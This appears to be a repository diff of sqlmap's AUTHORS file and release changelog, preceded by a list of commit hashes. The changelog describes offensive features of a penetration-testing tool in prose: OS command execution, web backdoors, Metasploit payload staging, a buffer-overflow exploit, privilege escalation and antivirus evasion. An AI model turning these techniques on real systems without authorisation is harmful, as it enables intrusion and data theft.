63c70018ca | ||
|
|
effc7dc41c | ||
|
|
652daa616e | ||
|
|
758a858785 | ||
|
|
5556db80db | ||
|
|
6e7be5edb0 | ||
|
|
3fe9f9cac9 | ||
|
|
a6a2e993cc | ||
|
|
c303feab17 | ||
|
|
e2810003ae | ||
|
|
c24f1cc07c | ||
|
|
60f04f0a41 | ||
|
|
bd669dd6fa | ||
|
|
2d55ec19a3 | ||
|
|
e29e8f82f9 | ||
|
|
0a363d3f2b | ||
|
|
4129cb22a7 | ||
|
|
cad8f61d55 | ||
|
|
b19de015c5 | ||
|
|
5fdebb5d5b | ||
|
|
d583cc07e7 | ||
|
|
1973024ebf | ||
|
|
f0729565a9 | ||
|
|
8702cce760 | ||
|
|
c2a6f21095 | ||
|
|
88d74a00c1 | ||
|
|
a02ec29c15 | ||
|
|
c9c9c1fb2f | ||
|
|
bfc12e93c5 | ||
|
|
ae3455a0c2 | ||
|
|
738c210075 | ||
|
|
87d8c6719e | ||
|
|
f04449be03 | ||
|
|
4dd2cdef47 | ||
|
|
a0290a257b | ||
|
|
1416cd0d86 | ||
|
|
4ca1adba2c | ||
|
|
1ec5221d82 | ||
|
|
eaa9dd07bc | ||
|
|
0aa8f7309b | ||
|
|
2e05e1c54d | ||
|
|
8bab94de64 | ||
|
|
5a6a01f24c | ||
|
|
be81c20298 | ||
|
|
2aadc5c939 | ||
|
|
f4f68218bc | ||
|
|
a63e251b25 | ||
|
|
f0f1176396 | ||
|
|
8e57767c48 | ||
|
|
09768a7b62 | ||
|
|
f9a135e232 | ||
|
|
9e8a108768 | ||
|
|
d13ad8b2d7 | ||
|
|
d00e4a458a | ||
|
|
72f3674844 | ||
|
|
0d559d14df | ||
|
|
f1fde2e443 | ||
|
|
d2f86fb0a5 | ||
|
|
466df89c4a | ||
|
|
3b3353e05b | ||
|
|
1dfe558d3d | ||
|
|
323cf2b7f2 | ||
|
|
6d0ea86414 | ||
|
|
417f7fae00 | ||
|
|
8af7d6c58b | ||
|
|
a0ec447b7d | ||
|
|
7f5bc5e3fe | ||
|
|
5063401130 | ||
|
|
572b6fd920 | ||
|
|
bfbf58b04e | ||
|
|
ee89709042 | ||
|
|
ba6172a381 | ||
|
|
a6ab42c873 | ||
|
|
4bef12a2b4 | ||
|
|
5f76d27779 | ||
|
|
4c6c91a80b | ||
|
|
c42c4982c3 | ||
|
|
7d8cc1a482 | ||
|
|
6b1ae62753 | ||
|
|
0a2fe651ab | ||
|
|
054a4aaee7 | ||
|
|
25f8a72414 | ||
|
|
17d0b82fee | ||
|
|
e8d76994ba | ||
|
|
18d1d09f1c | ||
|
|
15c638ac52 | ||
|
|
7ec04281dd | ||
|
|
fffda32f76 | ||
|
|
f6adb431e6 | ||
|
|
b50a2288f4 | ||
|
|
506403dd9d | ||
|
|
ec43419ad1 | ||
|
|
2c053d5cfb | ||
|
|
b344a70ba1 | ||
|
|
4d53b17320 | ||
|
|
fdf417f57e | ||
|
|
91dd609e26 | ||
|
|
6712b19df2 | ||
|
|
cc611c0010 | ||
|
|
3f3ddd5437 | ||
|
|
8593741358 | ||
|
|
7136c17f19 | ||
|
|
d618964ab6 | ||
|
|
45fc58d267 | ||
|
|
071e897f4e | ||
|
|
6fd1f7f77c | ||
|
|
20d8275f0e | ||
|
|
5209b5929f | ||
|
|
5bd8504f21 | ||
|
|
5334a40451 | ||
|
|
58d54b6515 | ||
|
|
a839566bb2 | ||
|
|
31a2fad530 | ||
|
|
476e389d38 | ||
|
|
8663b5b68b | ||
|
|
b544405878 | ||
|
|
63880e3121 | ||
|
|
ef7666c12b | ||
|
|
1c7943f7b1 | ||
|
|
9adeaa6191 | ||
|
|
1704c73892 | ||
|
|
a654a426ef | ||
|
|
156fdd96ef | ||
|
|
e774578180 | ||
|
|
49aa1ae542 | ||
|
|
759b720425 | ||
|
|
415d5f2b44 | ||
|
|
f941159f81 | ||
|
|
5d792feffd | ||
|
|
ddd8b277a6 | ||
|
|
2f452480b3 | ||
|
|
0acef530ce | ||
|
|
aa62465aad | ||
|
|
c93e265269 | ||
|
|
8076984f69 | ||
|
|
8567ad8f3e | ||
|
|
dd3f65f0fb | ||
|
|
f53ef947f1 | ||
|
|
694356821d | ||
|
|
42f53f380f | ||
|
|
1f2a1bb24c | ||
|
|
8c68d25b39 | ||
|
|
66c9885b96 | ||
|
|
38a37b89f6 | ||
|
|
89e919f07a | ||
|
|
5ebf572cae | ||
|
|
dee15ed0b0 | ||
|
|
9ba01c94d3 | ||
|
|
98496fd173 | ||
|
|
404927d04a | ||
|
|
e4c34ff86c | ||
|
|
d95a8850c8 | ||
|
|
0913d700a8 | ||
|
|
a10adcfe08 | ||
|
|
4a3fa69f9d | ||
|
|
3721451cd6 | ||
|
|
8f47b1a524 | ||
|
|
2553318464 | ||
|
|
0df5b5fed9 | ||
|
|
a0f5c3d885 | ||
|
|
3e152f8b20 | ||
|
|
28d5248c04 | ||
|
|
24d3e24db0 | ||
|
|
b558712a47 | ||
|
|
15d1fcbb7f | ||
|
|
bad2acdcb9 | ||
|
|
2cafd5697b | ||
|
|
858cb25975 | ||
|
|
0795e1164d | ||
|
|
4bea0e343a | ||
|
|
8f26f30740 | ||
|
|
ad0def7604 | ||
|
|
7e5a980f1b | ||
|
|
ccec743ba1 | ||
|
|
e05785fef6 | ||
|
|
16edd18a03 | ||
|
|
60366f7168 | ||
|
|
9c014c0fd0 | ||
|
|
2a07af2294 | ||
|
|
0debc95ad4 | ||
|
|
3c34066d19 | ||
|
|
af1d9f129c | ||
|
|
d1e3596382 | ||
|
|
6267e74bfb | ||
|
|
b28aeef8ff | ||
|
|
3fea964538 | ||
|
|
16599cf2cf | ||
|
|
0ed5ba5559 | ||
|
|
c4951fd631 | ||
|
|
b5deab1e43 | ||
|
|
6db0905137 | ||
|
|
1d55923c9d | ||
|
|
8131f9c77c | ||
|
|
7e0c411c0e | ||
|
|
dc06b40ddc | ||
|
|
89dc99188d | ||
|
|
f728208ff7 | ||
|
|
cef248a5ea | ||
|
|
203cfd114f | ||
|
|
8e8f6f842c | ||
|
|
00a23ace9a | ||
|
|
542b01993e | ||
|
|
a6674edf8a | ||
|
|
6a5a5d55f2 | ||
|
|
212cd828d6 | ||
|
|
bc0eb880df | ||
|
|
4e6af8d6c9 | ||
|
|
5c92fad5dc | ||
|
|
b08a4efb4b | ||
|
|
22995787d1 | ||
|
|
d291464cd4 | ||
|
|
dbd52c52e4 | ||
|
|
ec63fc4036 | ||
|
|
a1e80e77a1 | ||
|
|
87239476af | ||
|
|
e4699f389d | ||
|
|
ea045eaa2f | ||
|
|
7c88e32f9d | ||
|
|
565433097e | ||
|
|
494e014a4a | ||
|
|
8b0d31a6b7 | ||
|
|
894b9f0f80 | ||
|
|
25f1a9c7d0 | ||
|
|
87c8bdbc29 | ||
|
|
c74b920f54 | ||
|
|
950dba5139 | ||
|
|
9ed0744510 | ||
|
|
267cf5dd1a | ||
|
|
7faefcca88 | ||
|
|
979c919dc7 | ||
|
|
e8b0fd90c8 | ||
|
|
767c67e37a | ||
|
|
c20b196518 | ||
|
|
061794650f | ||
|
|
92817159dc | ||
|
|
200518724c | ||
|
|
7b8316728c | ||
|
|
c6cae7da41 | ||
|
|
144dc1b8c4 | ||
|
|
6f5d2ed171 | ||
|
|
a2077bfc0e | ||
|
|
732ed48e2b | ||
|
|
dcbbad642d | ||
|
|
f6b447f6e7 | ||
|
|
a20bbc3974 | ||
|
|
645afee359 | ||
|
|
921e449454 | ||
|
|
4559ded6c1 | ||
|
|
f4b8ce5c72 | ||
|
|
00002eeb38 | ||
|
|
d0acb1c5a3 | ||
|
|
f8056f4098 | ||
|
|
a0eabb6719 | ||
|
|
8a8dc73980 | ||
|
|
1d15c595a4 | ||
|
|
e63428207c | ||
|
|
f91687c4f7 | ||
|
|
6966c235a4 | ||
|
|
93b7994c0c | ||
|
|
a78bf9a88b | ||
|
|
6437c16156 | ||
|
|
a97e20d8e1 | ||
|
|
3197fada59 | ||
|
|
952c280083 | ||
|
|
e689c2ec99 | ||
|
|
44a74ccee8 | ||
|
|
b183b9cbb4 | ||
|
|
a4d8234875 | ||
|
|
98205cc488 | ||
|
|
39652bfbf4 | ||
|
|
97840535c6 | ||
|
|
49146e573a | ||
|
|
574880ba73 | ||
|
|
b4ce8fe361 | ||
|
|
e4bd0eb92d | ||
|
|
5c58747740 | ||
|
|
051db588a5 | ||
|
|
44adbc5776 | ||
|
|
2825ab5e4e | ||
|
|
c18a5cb92f | ||
|
|
f337cd6e0a | ||
|
|
6d697d60b2 | ||
|
|
4ce3abc56d | ||
|
|
1a764e1f08 | ||
|
|
5f171340f5 | ||
|
|
dcf0b2a3c1 | ||
|
|
f5c422efb4 | ||
|
|
505647b00f | ||
|
|
c4215ce8d2 | ||
|
|
26c7b74e65 | ||
|
|
1d968f51e9 | ||
|
|
c9863bc1d2 | ||
|
|
070ccc30e9 | ||
|
|
1febdcac9b | ||
|
|
d4d26b59eb | ||
|
|
746cbdba96 | ||
|
|
1100b37feb | ||
|
|
2915b5d7e9 | ||
|
|
625cc5cc0d | ||
|
|
b4ddfe8333 | ||
|
|
50bbb0cf8a | ||
|
|
9c9988c375 | ||
|
|
055b14a11a | ||
|
|
0ad43952bd | ||
|
|
f9f418b479 | ||
|
|
3434a22872 | ||
|
|
a193205323 | ||
|
|
8817b2884f | ||
|
|
a58b36fe07 | ||
|
|
4a72ad113a | ||
|
|
c7e1649655 | ||
|
|
3a9f685e18 | ||
|
|
df36eb6d11 | ||
|
|
4512ef56d1 | ||
|
|
80bd146696 | ||
|
|
e5dc3f51c8 | ||
|
|
6c1b31d93c | ||
|
|
ef1180c3c2 | ||
|
|
12f371cd65 | ||
|
|
dc04fa7f06 | ||
|
|
d58ba7ee6d | ||
|
|
f316e722c1 | ||
|
|
6a62a78b0a | ||
|
|
067cc07fb9 | ||
|
|
5c20462155 | ||
|
|
82222fcd3a | ||
|
|
d07f60578c | ||
|
|
80df1fdcf9 | ||
|
|
954a927cee | ||
|
|
71547a3496 | ||
|
|
bb61010a45 | ||
|
|
473024bd6e | ||
|
|
6319eb6e5c | ||
|
|
232f927dd0 | ||
|
|
d71e47ce56 | ||
|
|
2eb24c6368 | ||
|
|
236ca9b952 | ||
|
|
96a033b51d | ||
|
|
d5b1863dec | ||
|
|
ce022a3b6e | ||
|
|
d55175a340 | ||
|
|
9c620da0a5 | ||
|
|
c1c14dabd9 | ||
|
|
e6c4154cac | ||
|
|
e4e081cdc6 | ||
|
|
a605980d66 | ||
|
|
b363f1c5ab | ||
|
|
e28b98a366 | ||
|
|
c332c72808 | ||
|
|
6e36a6f8ed | ||
|
|
4779a5fe0f | ||
|
|
1bf6a7cadc | ||
|
|
aa14bea051 | ||
|
|
e518ae82e4 | ||
|
|
bfd8128693 | ||
|
|
de68a499f5 | ||
|
|
bb123b2769 | ||
|
|
f1a7d095aa | ||
|
|
89c43893d4 | ||
|
|
458d59416c | ||
|
|
14578a7a4d | ||
|
|
17289c5ff2 | ||
|
|
e608a5ca55 | ||
|
|
19c6804ded | ||
|
|
2c98c11e80 | ||
|
|
45e3ce798f | ||
|
|
d905e5ef9f | ||
|
|
576cc97742 | ||
|
|
b2b2ec8a26 | ||
|
|
3d4bfb3263 | ||
|
|
b4fd71e8b9 | ||
|
|
8096a37940 | ||
|
|
cb3d2bac16 | ||
|
|
516fdb9356 | ||
|
|
24a3a23159 | ||
|
|
4b622ed860 | ||
|
|
0fc4587f02 | ||
|
|
ba2e009fd9 | ||
|
|
bc31bd1dd9 | ||
|
|
fd7de4bbb8 | ||
|
|
3b9303186e | ||
|
|
e5a01d500e | ||
|
|
32067cb676 | ||
|
|
03a6739fbf | ||
|
|
150abc0f1e | ||
|
|
3bca0d4b28 | ||
|
|
5ac2b0658c | ||
|
|
cfd8a83655 | ||
|
|
966f34f381 | ||
|
|
c7b72abc0e | ||
|
|
02f6425db8 | ||
|
|
93ee4a01e5 | ||
|
|
81d1a767ac | ||
|
|
8e7282f7c7 | ||
|
|
440a52b84d | ||
|
|
37d3b3adda | ||
|
|
13de8366d0 | ||
|
|
f7ee4d578e | ||
|
|
ef3846e0de | ||
|
|
45dff4a00a | ||
|
|
b463205544 | ||
|
|
06cc2a6d70 | ||
|
|
a727427299 | ||
|
|
c5d20b8a86 | ||
|
|
f3e8d6db70 | ||
|
|
ccedadd780 | ||
|
|
e8c115500d | ||
|
|
722ca8bf2f | ||
|
|
57b8bb4c8e | ||
|
|
58f3eee390 | ||
|
|
1d7de719b9 | ||
|
|
16b4530bbe | ||
|
|
5121a4dcba | ||
|
|
406d5df195 | ||
|
|
546a6c32e3 | ||
|
|
6f4035938b | ||
|
|
06e8546177 | ||
|
|
eeb34eb028 | ||
|
|
4ce74764b7 | ||
|
|
aec2419410 | ||
|
|
1af6898618 | ||
|
|
69259c5984 | ||
|
|
8e88b32274 | ||
|
|
aefa7ef988 | ||
|
|
8c0ac767f4 | ||
|
|
b997df740a | ||
|
|
0c1a6b3edf | ||
|
|
2efee058ea | ||
|
|
954417072b | ||
|
|
ba00a17205 | ||
|
|
2355885712 | ||
|
|
207e96e2b2 | ||
|
|
c405fb51ab | ||
|
|
b12d955274 | ||
|
|
770e000cb4 | ||
|
|
9ab174a444 | ||
|
|
77d9d22ceb | ||
|
|
dded57f1cd | ||
|
|
ad03684788 | ||
|
|
6054090191 | ||
|
|
a8d57bb031 | ||
|
|
193482a62b | ||
|
|
981c7a4428 | ||
|
|
793c323b2a | ||
|
|
d54a51a328 | ||
|
|
69204afe1f | ||
|
|
9631dc115e | ||
|
|
ae0f1985f3 | ||
|
|
deeccf9b5e | ||
|
|
1c5925ea2b | ||
|
|
7adbf5892d | ||
|
|
c25b49e80e | ||
|
|
96db179ffe | ||
|
|
f91843540f | ||
|
|
8f973ce574 | ||
|
|
161590e121 | ||
|
|
6690b4c00a | ||
|
|
bc3b4c6936 | ||
|
|
fd7cb9101c | ||
|
|
bc448211c5 | ||
|
|
73e713c5ba | ||
|
|
26cb082fc3 | ||
|
|
de393628d0 | ||
|
|
5560f0b68a | ||
|
|
92645dd264 | ||
|
|
9b0f11f879 | ||
|
|
e10ab5aa0e | ||
|
|
9c125a2b57 | ||
|
|
6ff8feb5cf | ||
|
|
d0604ef513 | ||
|
|
2d87a3349f | ||
|
|
9c42a883be | ||
|
|
2cc3bb2f6a | ||
|
|
9e0d890171 | ||
|
|
c1010c20d8 | ||
|
|
a4d62af2ea | ||
|
|
9340bf59fb | ||
|
|
0e9873fd4f | ||
|
|
c83593c044 | ||
|
|
24ddbdc89d | ||
|
|
b0ad102efb | ||
|
|
79c8d63b88 | ||
|
|
64bb57d786 | ||
|
|
1f7810e46a | ||
|
|
064029cb2d | ||
|
|
04c187c66a | ||
|
|
2f406b3e56 | ||
|
|
c05f600e90 | ||
|
|
4ae464c80d | ||
|
|
f92b76a8b0 | ||
|
|
374b9ba878 | ||
|
|
35708a0b97 | ||
|
|
996a872e51 | ||
|
|
c18efe5084 | ||
|
|
8d06975142 | ||
|
|
7e8ac16245 | ||
|
|
ad228e6947 | ||
|
|
68354be45a | ||
|
|
afbd66f6d9 | ||
|
|
d0d6632c22 | ||
|
|
3fe493b63d | ||
|
|
c32ef9d751 | ||
|
|
2efb3ae2ba | ||
|
|
6dec56d616 | ||
|
|
bb9079aa9d | ||
|
|
94c79e3209 | ||
|
|
dda62ba463 | ||
|
|
7b55840b35 | ||
|
|
ec11f502df | ||
|
|
36d9ede001 | ||
|
|
b7f2602b50 | ||
|
|
2b0ec1868d | ||
|
|
4156181367 | ||
|
|
05a8c8d3bf | ||
|
|
bf2a857b9a | ||
|
|
072eb7154c | ||
|
|
9dbad512f1 | ||
|
|
15542d2772 | ||
|
|
38c9627700 | ||
|
|
78e8a83c11 | ||
|
|
7f055924a7 | ||
|
|
0f07e33e1a | ||
|
|
e3ddbe751f | ||
|
|
4cb161ce4f | ||
|
|
b700485a1b | ||
|
|
578bcb9140 | ||
|
|
f97585c593 | ||
|
|
e75487a26c | ||
|
|
e2a805ef6a | ||
|
|
a777f1ca35 | ||
|
|
034a3f387a | ||
|
|
3cf1658532 | ||
|
|
428612b431 | ||
|
|
beea58f2e9 | ||
|
|
e967b13378 | ||
|
|
6e548eb2ec | ||
|
|
785352d700 | ||
|
|
dc1f2deb74 | ||
|
|
f2737ad0a3 | ||
|
|
9be844cf3e | ||
|
|
80425c9ccd | ||
|
|
8f74fe2ce9 | ||
|
|
736b2e7323 | ||
|
|
727664aea7 | ||
|
|
7d0724843f | ||
|
|
66fb3c3033 | ||
|
|
7d7170fc97 | ||
|
|
654aecedfe | ||
|
|
fa0507ab39 | ||
|
|
84cbc60659 | ||
|
|
4bf1fcb8ec | ||
|
|
0bd5b52d95 | ||
|
|
ecc4a98071 | ||
|
|
9329f8c9c4 | ||
|
|
81ed7c2086 | ||
|
|
13f76cfe3b | ||
|
|
e1385eb2bf | ||
|
|
0c5d3df546 | ||
|
|
544ced52b5 | ||
|
|
2a01de3f0b | ||
|
|
be599d5a33 | ||
|
|
359b28bbaf | ||
|
|
0f79ec0088 | ||
|
|
278f0aad7c |
10
doc/AUTHORS
10
doc/AUTHORS
@@ -1,7 +1,7 @@
|
||||
Bernardo Damele A. G. (inquis) - project leader, core developer
|
||||
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
|
||||
<bernardo.damele@gmail.com>
|
||||
PGP Key ID: 0x05F5A30F
|
||||
PGP Key ID: 0x05F5A30F
|
||||
|
||||
Daniele Bellucci (belch) - project founder, initial developer
|
||||
<daniele.bellucci@gmail.com>
|
||||
PGP Key ID: 0x9A0E8190
|
||||
Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
|
||||
<miroslav.stampar@gmail.com>
|
||||
PGP Key ID: 0xB5397B1B
|
||||
|
||||
298
doc/ChangeLog
298
doc/ChangeLog
@@ -1,3 +1,288 @@
|
||||
sqlmap (0.9-1) stable; urgency=low
|
||||
|
||||
* Rewritten SQL injection detection engine (Bernardo and Miroslav).
|
||||
* Support to directly connect to the database without passing via a
|
||||
SQL injection, -d switch (Bernardo and Miroslav).
|
||||
* Added full support for both time-based blind SQL injection and
|
||||
error-based SQL injection techniques (Bernardo and Miroslav).
|
||||
* Implemented support for SQLite 2 and 3 (Bernardo and Miroslav).
|
||||
* Implemented support for Firebird (Bernardo and Miroslav).
|
||||
* Implemented support for Microsoft Access, Sybase and SAP MaxDB
|
||||
(Miroslav).
|
||||
* Extended old '--dump -C' functionality to be able to search for
|
||||
specific database(s), table(s) and column(s), --search switch
|
||||
(Bernardo).
|
||||
* Added support to tamper injection data with --tamper switch (Bernardo
|
||||
and Miroslav).
|
||||
* Added automatic recognition of password hashes format and support to
|
||||
crack them with a dictionary-based attack (Miroslav).
|
||||
* Added support to enumerate roles on Oracle, --roles switch (Bernardo).
|
||||
* Added support for SOAP based web services requests (Bernardo).
|
||||
* Added support to fetch unicode data (Bernardo and Miroslav).
|
||||
* Added support to use persistent HTTP(s) connection for speed
|
||||
improvement, --keep-alive switch (Miroslav).
|
||||
* Implemented several optimization switches to speed up the exploitation
|
||||
of SQL injections (Bernardo and Miroslav).
|
||||
* Support to test and inject against HTTP Referer header (Miroslav).
|
||||
* Implemented HTTP(s) proxy authentication support, --proxy-cred switch
|
||||
(Miroslav).
|
||||
* Implemented feature to speedup the enumeration of table names
|
||||
(Miroslav).
|
||||
* Support for customizable HTTP(s) redirections (Bernardo).
|
||||
* Support to replicate the back-end DBMS tables structure and entries
|
||||
in a local SQLite 3 database, --replicate switch (Miroslav).
|
||||
* Support to parse and test forms on target url, --forms switch
|
||||
(Bernardo and Miroslav).
|
||||
* Added switches to brute-force tables names and columns names with a
|
||||
dictionary attack, --common-tables and --common-columns. Useful for
|
||||
instance when system table 'information_schema' is not available on
|
||||
MySQL (Miroslav).
|
||||
* Basic support for REST-style URL parameters by using the asterisk (*)
|
||||
to mark where to test for and exploit SQL injection (Miroslav).
|
||||
* Added safe URL feature, --safe-url and --safe-freq (Miroslav).
|
||||
* Added --text-only switch to strip from the HTTP response body the
|
||||
HTML/JS code and compare pages based only on their textual content
|
||||
(Miroslav).
|
||||
* Implemented few other features and switches (Bernardo and Miroslav).
|
||||
* Over 100 bugs fixed (Bernardo and Miroslav).
|
||||
* Major code refactoring (Bernardo and Miroslav).
|
||||
* User's manual updated (Bernardo).
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 10 Apr 2011 21:00:00 +0000
|
||||
|
||||
sqlmap (0.8-1) stable; urgency=low
|
||||
|
||||
* Support to enumerate and dump all databases' tables containing user
|
||||
provided column(s) by specifying for instance '--dump -C user,pass'.
|
||||
Useful to identify for instance tables containing custom application
|
||||
credentials (Bernardo).
|
||||
* Support to parse -C (column name(s)) when fetching
|
||||
columns of a table with --columns: it will enumerate only columns like
|
||||
the provided one(s) within the specified table (Bernardo).
|
||||
* Support for takeover features on PostgreSQL 8.4 (Bernardo).
|
||||
* Enhanced --priv-esc to rely on new Metasploit Meterpreter's
|
||||
'getsystem' command to elevate privileges of the user running the
|
||||
back-end DBMS instance to SYSTEM on Windows (Bernardo).
|
||||
* Automatic support in --os-pwn to use the web uploader/backdoor to
|
||||
upload and execute the Metasploit payload stager when stacked queries
|
||||
SQL injection is not supported, for instance on MySQL/PHP and
|
||||
MySQL/ASP, but there is a writable folder within the web server
|
||||
document root (Bernardo and Miroslav).
|
||||
* Fixed web backdoor functionality for --os-cmd, --os-shell and --os-pwn
|
||||
useful when web application does not support stacked queries (Bernardo).
|
||||
* Added support to properly read (--read-file) also binary files via
|
||||
PostgreSQL by injecting sqlmap new sys_fileread() user-defined
|
||||
function (Bernardo and Miroslav).
|
||||
* Updated active fingerprint and comment injection fingerprint for
|
||||
MySQL 5.1, MySQL 5.4 and MySQL 5.5 (Bernardo).
|
||||
* Updated active fingerprint for PostgreSQL 8.4 (Bernardo).
|
||||
* Support for NTLM authentication via python-ntlm third party library,
|
||||
http://code.google.com/p/python-ntlm/, --auth-type NTLM (Bernardo).
|
||||
* Support to automatically decode deflate, gzip and x-gzip HTTP
|
||||
responses (Miroslav).
|
||||
* Support for Certificate authentication, --auth-cert option added
|
||||
(Miroslav).
|
||||
* Added support for regular expression based scope when parsing Burp or
|
||||
Web Scarab proxy log file (-l), --scope (Miroslav).
|
||||
* Added option (-r) to load a single HTTP request from a text file
|
||||
(Miroslav).
|
||||
* Added option (--ignore-proxy) to ignore system default HTTP proxy
|
||||
(Miroslav).
|
||||
* Added support to ignore Set-Cookie in HTTP responses,
|
||||
--drop-set-cookie (Miroslav).
|
||||
* Added support to specify which Google dork result page to parse,
|
||||
--gpage to be used together with -g (Miroslav).
|
||||
* Major bug fix and enhancements to the multi-threading (--threads)
|
||||
functionality (Miroslav).
|
||||
* Fixed URL encoding/decoding of GET/POST parameters and Cookie header
|
||||
(Miroslav).
|
||||
* Refactored --update to use python-svn third party library if available
|
||||
or 'svn' command to update sqlmap to the latest development version
|
||||
from subversion repository (Bernardo and Miroslav).
|
||||
* Major bugs fixed (Bernardo and Miroslav).
|
||||
* Cleanup of UDF source code repository,
|
||||
https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack (Bernardo
|
||||
and Miroslav).
|
||||
* Major code cleanup (Miroslav).
|
||||
* Added simple file encryption/compression utility, extra/cloak/cloak.py,
|
||||
used by sqlmap to decrypt on the fly Churrasco, UPX executable and web
|
||||
shells consequently reducing drastically the number of anti-virus
|
||||
softwares that mistakenly mark sqlmap as a malware (Miroslav).
|
||||
* Updated user's manual (Bernardo and Miroslav).
|
||||
* Created several demo videos, hosted on YouTube
|
||||
(http://www.youtube.com/user/inquisb) and linked from
|
||||
http://sqlmap.sourceforge.net/demo.html (Bernardo).
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sun, 14 Mar 2010 10:00:00 +0000
|
||||
|
||||
sqlmap (0.8rc1-1) stable; urgency=low
|
||||
|
||||
* Major enhancement to the Microsoft SQL Server stored procedure
|
||||
heap-based buffer overflow exploit (--os-bof) to automatically bypass
|
||||
DEP memory protection.
|
||||
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
|
||||
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
|
||||
option instead of uploading the standalone payload stager executable.
|
||||
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
|
||||
read/add/delete Windows registry keys.
|
||||
* Added options for MySQL and PostgreSQL to inject custom user-defined
|
||||
functions.
|
||||
* Added support for --first and --last so the user now has even more
|
||||
granularity in what to enumerate in the query output.
|
||||
* Minor enhancement to save the session by default in
|
||||
'output/hostname/session' file if -s option is not specified.
|
||||
* Minor improvement to automatically remove sqlmap created temporary
|
||||
files from the DBMS underlying file system.
|
||||
* Minor bugs fixed.
|
||||
* Major code refactoring.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 21 Sep 2009 15:00:00 +0000
|
||||
|
||||
sqlmap (0.7-1) stable; urgency=low
|
||||
|
||||
* Adapted Metasploit wrapping functions to work with latest 3.3
|
||||
development version too.
|
||||
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
|
||||
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
|
||||
--os-bof is selected) when running under Windows because msfconsole
|
||||
and msfcli are not supported on the native Windows Ruby interpreter.
|
||||
This make sqlmap 0.7 to work again on Windows too.
|
||||
* Minor improvement so that sqlmap tests also all parameters with no
|
||||
value (eg. par=).
|
||||
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
|
||||
2.6+.
|
||||
* Major bug fix to sql-query/sql-shell features.
|
||||
* Major bug fix in --read-file option.
|
||||
* Major silent bug fix to multi-threading functionality.
|
||||
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
|
||||
queries are not supported and --os-shell is provided.
|
||||
* Fixed MySQL 'comment injection' version fingerprint.
|
||||
* Fixed basic Microsoft SQL Server 2000 fingerprint.
|
||||
* Many minor bug fixes and code refactoring.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
|
||||
|
||||
sqlmap (0.7rc1-1) stable; urgency=low
|
||||
|
||||
* Added support to execute arbitrary commands on the database server
|
||||
underlying operating system either returning the standard output or not
|
||||
via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored
|
||||
procedure on Microsoft SQL Server;
|
||||
* Added support for out-of-band connection between the attacker box and
|
||||
the database server underlying operating system via stand-alone payload
|
||||
stager created by Metasploit and supporting Meterpreter, shell and VNC
|
||||
payloads for both Windows and Linux;
|
||||
* Added support for out-of-band connection via Microsoft SQL Server 2000
|
||||
and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer
|
||||
overflow (MS09-004) exploitation with multi-stage Metasploit payload
|
||||
support;
|
||||
* Added support for out-of-band connection via SMB reflection attack with
|
||||
UNC path request from the database server to the attacker box by using
|
||||
the Metasploit smb_relay exploit;
|
||||
* Added support to read and write (upload) both text and binary files on
|
||||
the database server underlying file system for MySQL, PostgreSQL and
|
||||
Microsoft SQL Server;
|
||||
* Added database process' user privilege escalation via Windows Access
|
||||
Tokens kidnapping on MySQL and Microsoft SQL Server via either
|
||||
Meterpreter's incognito extension or Churrasco stand-alone executable;
|
||||
* Speed up the inference algorithm by providing the minimum required
|
||||
charset for the query output;
|
||||
* Major bug fix in the comparison algorithm to correctly handle also the
|
||||
case that the url is stable and the False response changes the page
|
||||
content very little;
|
||||
* Many minor bug fixes, minor enhancements and layout adjustments.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Wed, 22 Apr 2009 10:30:00 +0000
|
||||
|
||||
sqlmap (0.6.4-1) stable; urgency=low
|
||||
|
||||
* Major enhancement to make the comparison algorithm work properly also
|
||||
on url not stables automatically by using the difflib Sequence Matcher
|
||||
object;
|
||||
* Major enhancement to support SQL data definition statements, SQL data
|
||||
manipulation statements, etc from user in SQL query and SQL shell if
|
||||
stacked queries are supported by the web application technology;
|
||||
* Major speed increase in DBMS basic fingerprint;
|
||||
* Minor enhancement to support an option (--is-dba) to show if the
|
||||
current user is a database management system administrator;
|
||||
* Minor enhancement to support an option (--union-tech) to specify the
|
||||
technique to use to detect the number of columns used in the web
|
||||
application SELECT statement: NULL bruteforcing (default) or ORDER BY
|
||||
clause bruteforcing;
|
||||
* Added internal support to forge CASE statements, used only by --is-dba
|
||||
query at the moment;
|
||||
* Minor layout adjustment to the --update output;
|
||||
* Increased default timeout to 30 seconds;
|
||||
* Major bug fix to correctly handle custom SQL "limited" queries on
|
||||
Microsoft SQL Server and Oracle;
|
||||
* Major bug fix to avoid tracebacks when multiple targets are specified
|
||||
and one of them is not reachable;
|
||||
* Minor bug fix to make the Partial UNION query SQL injection technique
|
||||
work properly also on Oracle and Microsoft SQL Server;
|
||||
* Minor bug fix to make the --postfix work even if --prefix is not
|
||||
provided;
|
||||
* Updated documentation.
|
||||
|
||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Tue, 3 Feb 2009 23:30:00 +0000
|
||||
|
||||
sqlmap (0.6.3-1) stable; urgency=low
|
||||
|
||||
* Major enhancement to get list of targets to test from Burp proxy
|
||||
(http://portswigger.net/suite/) requests log file path or WebScarab
|
||||
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
|
||||
'conversations/' folder path by providing option -l <filepath>;
|
||||
* Major enhancement to support Partial UNION query SQL injection
|
||||
technique too;
|
||||
* Major enhancement to test if the web application technology supports
|
||||
stacked queries (multiple statements) by providing option
|
||||
--stacked-test which will be then used someday also by takeover
|
||||
functionality;
|
||||
* Major enhancement to test if the injectable parameter is affected by
|
||||
